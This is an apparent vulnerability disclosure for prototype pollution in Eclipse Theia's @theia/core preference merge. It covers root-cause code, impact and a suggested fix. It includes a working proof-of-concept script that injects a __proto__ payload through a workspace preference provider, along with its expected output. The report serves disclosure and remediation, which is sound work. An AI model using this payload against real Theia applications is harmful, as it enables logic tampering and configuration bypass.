[Eclipse Theia] Prototype Pollution in @theia/core PreferenceService preference merge
## Affected Package
`@theia/core`
Verified affected versions:
- `1.72.3`
- `1.73.1` current npm latest
## Summary
`@theia/core` exposes `PreferenceUtils.merge()` from the package root and uses it inside `PreferenceServiceImpl.doResolve()` to merge preference values from multiple scopes.
The merge implementation iterates `Object.entries(target)` and assigns `source[key] = JSONExt.deepCopy(value)` without rejecting prototype-pollution keys. If a preference value object contains an own enumerable `__proto__` property, `source["__proto__"]` resolves to `Object.prototype`, and attacker-controlled nested properties are written onto `Object.prototype`.
This is reachable through the real preference resolution flow, not only by calling a standalone utility function. `PreferenceServiceImpl.doResolve()` calls:
```js
result.value = PreferenceUtils.merge(result.value, value);
```
for each preference provider/scope.
## Install
```sh
mkdir theia-pref-pp && cd theia-pref-pp
npm init -y
npm i @theia/core@1.73.1
```
## PoC
Create `poc.cjs`:
```js
const { PreferenceServiceImpl, PreferenceScope } = require('@theia/core');
const svc = new PreferenceServiceImpl();
svc.schemaService = {
validScopes: [PreferenceScope.User, PreferenceScope.Workspace]
};
const userProvider = {
canHandleScope: () => true,
resolve: () => ({
configUri: 'user-settings.json',
value: { safe: true }
})
};
const workspaceProvider = {
canHandleScope: () => true,
resolve: () => ({
configUri: 'workspace-settings.json',
value: JSON.parse(
'{"__proto__":{"theiaPrefPP":"PWNED_VIA_PREFERENCE_SERVICE"}}'
)
})
};
svc.preferenceProviders.set(PreferenceScope.User, userProvider);
svc.preferenceProviders.set(PreferenceScope.Workspace, workspaceProvider);
delete Object.prototype.theiaPrefPP;
try {
const resolved = svc.doResolve('any.preference', undefined);
console.log('resolved value keys:', Object.keys(resolved.value || {}).join(','));
console.log(Object.prototype.theiaPrefPP);
console.log(({}).theiaPrefPP);
} finally {
delete Object.prototype.theiaPrefPP;
}
```
Run:
```sh
node poc.cjs
```
Expected output:
```text
resolved value keys: safe
PWNED_VIA_PREFERENCE_SERVICE
PWNED_VIA_PREFERENCE_SERVICE
```
## Root Cause
Affected code:
`@theia/core/lib/common/preferences/preference-provider.js`
```js
function merge(source, target) {
if (source === undefined || !JSONExt.isObject(source)) {
return JSONExt.deepCopy(target);
}
if (JSONExt.isPrimitive(target)) {
return {};
}
for (const [key, value] of Object.entries(target)) {
if (key in source) {
const sourceValue = source[key];
if (JSONExt.isObject(sourceValue) && JSONExt.isObject(value)) {
merge(sourceValue, value);
continue;
}
}
source[key] = JSONExt.deepCopy(value);
}
return source;
}
```
When `key` is `__proto__`, `source[key]` is `Object.prototype`. Because both `Object.prototype` and the attacker value are JSON objects, the recursive merge writes attacker-controlled fields to `Object.prototype`.
Reachable code:
`@theia/core/lib/common/preferences/preference-service.js`
```js
result.value = PreferenceUtils.merge(result.value, value);
```
## Impact
Theia applications commonly resolve preferences from user, workspace, and folder configuration. If an attacker can influence a preference object loaded into a provider, such as workspace settings, remote/project configuration, extension-provided configuration, or imported preferences, resolving that preference can pollute `Object.prototype` inside the Theia frontend/backend process.
This can affect later plain-object reads across the application and may cause logic tampering, unexpected inherited configuration values, authorization/configuration bypasses, or denial of service depending on host application behavior.
## Suggested Fix
Reject prototype-pollution keys before reading, assigning, or recursing:
- `__proto__`
- `constructor`
- `prototype`
Also avoid `key in source` for untrusted keys and prefer own-property checks such as `Object.prototype.hasOwnProperty.call(source, key)`.
issue